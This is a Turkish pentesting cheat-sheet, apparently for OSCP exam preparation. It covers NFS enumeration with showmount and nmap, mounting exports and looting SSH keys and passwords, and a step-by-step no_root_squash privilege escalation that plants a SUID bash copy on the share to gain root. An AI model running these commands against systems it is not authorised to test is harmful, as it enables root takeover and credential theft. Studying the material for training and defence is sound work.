FOOTHOLD Metodoloji Cheat-sheet
2049

NFS

linux

NFS export keşfi (showmount), mount ile dosya erişimi ve no_root_squash misconfig üzerinden SUID binary yerleştirerek yerel root'a yükselme.

┌──

Komutlar

showmount ✓ EXAM-SAFE
showmount -e {{RHOST}}
Sunucunun export ettiği NFS paylaşımlarını ve izin verilen client'ları listeler. HackTricks — Pentesting NFS
nmap ✓ EXAM-SAFE
nmap -p111,2049 -sV --script nfs-showmount,nfs-ls,nfs-statfs {{RHOST}}
NFS exportlarını, dosya listesini ve dosya sistemi istatistiklerini NSE ile çeker. Nmap NSE — nfs-showmount, nfs-ls
mount ✓ EXAM-SAFE # root
sudo mount -t nfs -o vers=3 {{RHOST}}:/export /mnt/nfs
NFS paylaşımını yerel makineye mount eder (vers=3 çoğu OSCP makinesinde uyumlu). HackTricks — Pentesting NFS
mount ✓ EXAM-SAFE # root
sudo mount -t nfs -o vers=3,nolock {{RHOST}}:/home /mnt/nfs
Kilit servisi yoksa nolock ile mount; home paylaşımından loot. HackTricks — Pentesting NFS
bash ✓ EXAM-SAFE # root
cp /bin/bash /mnt/nfs/rootbash; chmod +s /mnt/nfs/rootbash
no_root_squash export'ta root olarak SUID bash yerleştirir (saldırgan tarafında root iken). HackTricks — NFS no_root_squash privesc
bash ✓ EXAM-SAFE user
/mnt/nfs/rootbash -p
Hedef makinede (düşük yetkili shell'de) SUID bash'i -p ile çalıştırıp root elde eder. HackTricks — NFS no_root_squash privesc

Genel Bakış

NFS (2049/tcp, 111 portfmapper ile birlikte) yanlış yapılandırıldığında hem dosya sızıntısı hem de güçlü bir yerel privesc vektörü (no_root_squash) sunar.

Enumeration

  • showmount -e {{RHOST}} ile export edilen yolları ve hangi ağ/host’a açıldığını gör. * görüyorsan herkes mount edebilir.
  • NSE nfs-ls/nfs-showmount ile mount etmeden hızlı içerik fikri alınabilir.

Mount ve Loot

  • mount -t nfs -o vers=3 ile bağlan; modern sunucuda vers=4 deneyebilirsin. Mount sonrası UID eşleşmesine dikkat: dosya sahibi UID’leri yerelde farklı kullanıcılara denk gelebilir.
  • Home/web/yedek paylaşımlarında SSH anahtarı, config ve parola ara.

no_root_squash Privesc (lnx-privesc-nfs)

Bu, OSCP’de klasik bir senaryodur:

  1. /etc/exports içinde no_root_squash varsa, saldırgan makinende root olarak mount edilen paylaşıma yazdığın dosyaların sahibi de root olur.
  2. Saldırgan tarafında root iken paylaşıma /bin/bash kopyalayıp SUID bit ver.
  3. Hedef makinedeki düşük yetkili shell’de aynı dosyayı -p ile çalıştır; effective UID root olur. UID 0 olarak yazabilmek için saldırgan makinende root olman gerekir (yerelde sudo).

Gotchalar

  • root_squash açıksa root UID’in nobody’ye düşürülür; bu durumda SUID hilesi çalışmaz, sadece okuma/yazma izinleri geçerlidir.
  • Bazı exportlar ro (read-only); yazma denemeden önce mount seçeneklerini kontrol et.

Pivot

  • Mount edilen dosya sahiplerinden hedefteki kullanıcı UID’lerini eşleştirip, o UID ile yerel kullanıcı oluşturarak (saldırgan tarafında) ilgili kullanıcının dosyalarına erişebilirsin.
┌──

İlgili teknikler

┌──

Kaynaklar

↗ HackTricks — Pentesting NFSHackTricks — NFS no_root_squash privescNmap NSE — nfs-showmount, nfs-ls
0/15 set